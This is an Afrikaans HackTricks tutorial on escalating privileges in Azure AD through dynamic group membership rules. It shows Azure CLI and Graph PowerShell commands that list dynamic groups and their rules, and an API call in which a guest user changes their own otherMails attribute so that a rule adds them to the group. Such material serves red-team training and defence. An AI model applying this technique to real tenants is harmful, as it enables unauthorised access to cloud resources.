Az - Dinamiese Groepe Privesc

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Basiese Inligting

Dinamiese groepe is groepe wat ’n stel reĆ«ls gekonfigureer het en alle gebruikers of toestelle wat by die reĆ«ls pas by die groep gevoeg word. Elke keer as ’n gebruiker of toestel se attribuut verander, word die dinamiese reĆ«ls opnuut nagegaan. En wanneer ’n nuwe reĆ«l geskep word, word alle toestelle en gebruikers gekontroleer.

Dinamiese groepe kan aan hulle Azure RBAC roles toegeken word, maar dit is nie moontlik om AzureAD roles aan dinamiese groepe toe te voeg.

Hierdie funksie vereis ’n Azure AD premium P1 lisensie.

Privesc

Let daarop dat standaard enige gebruiker gaste in Azure AD kan nooi. As ’n dinamiese groep se reĆ«l toestemmings aan gebruikers gee gebaseer op attribuutte wat in ’n nuwe gast gestel kan word, is dit moontlik om ’n gast met hierdie attribuutte te skep en bevoegdhede op te skaal. Dit is ook moontlik vir ’n gast om sy eie profiel te bestuur en hierdie attribuutte te verander.

Kry groepe wat Dynamiese lidmaatskap toelaat: az ad group list --query "[?contains(groupTypes, 'DynamicMembership')]" --output table

Dinamiese Groepe Enumerasie

Kry die reĆ«ls van ’n dinamiese groep:

Met Azure CLI:

az ad group list \
--filter "groupTypes/any(c:c eq 'DynamicMembership')" \
--query "[].{displayName:displayName, rule:membershipRule}" \
-o table

Met PowerShell en Microsoft Graph SDK:

Install-Module Microsoft.Graph -Scope CurrentUser -Force
Import-Module Microsoft.Graph

Connect-MgGraph -Scopes "Group.Read.All"

Get-MgGroup -Filter "groupTypes/any(c:c eq 'DynamicMembership')" `
-Property Id, DisplayName, GroupTypes

# Get the rules of a specific group
$g = Get-MgGroup -Filter "displayName eq '<GROUP NAME>'" `
-Property DisplayName, GroupTypes, MembershipRule, MembershipRuleProcessingState

$g | Select-Object DisplayName, GroupTypes, MembershipRule

# Get the rules of all dynamic groups
Get-MgGroup -Filter "groupTypes/any(c:c eq 'DynamicMembership')" `
-Property DisplayName, MembershipRule |
Select-Object DisplayName, MembershipRule

Voorbeeld

  • ReĆ«lvoorbeeld: (user.otherMails -any (_ -contains "security")) -and (user.userType -eq "guest")
  • ReĆ«lbeskrywing: Enige Guest-gebruiker met ’n sekondĆŖre e-posadres wat die string ā€˜security’ bevat, sal by die groep gevoeg word

Vir die Guest-gebruiker se e-pos, aanvaar die uitnodiging en kyk na die huidige instellings van daardie gebruiker in https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView.
Ongelukkig laat die bladsy dit nie toe om die attribuutwaardes te verander nie, so ons moet die API gebruik:

# Login with the gust user
az login --allow-no-subscriptions

# Get user object ID
az ad signed-in-user show

# Update otherMails
az rest --method PATCH \
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
--headers 'Content-Type=application/json' \
--body '{"otherMails": ["newemail@example.com", "anotheremail@example.com"]}'

# Verify the update
az rest --method GET \
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
--query "otherMails"

Verwysings

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks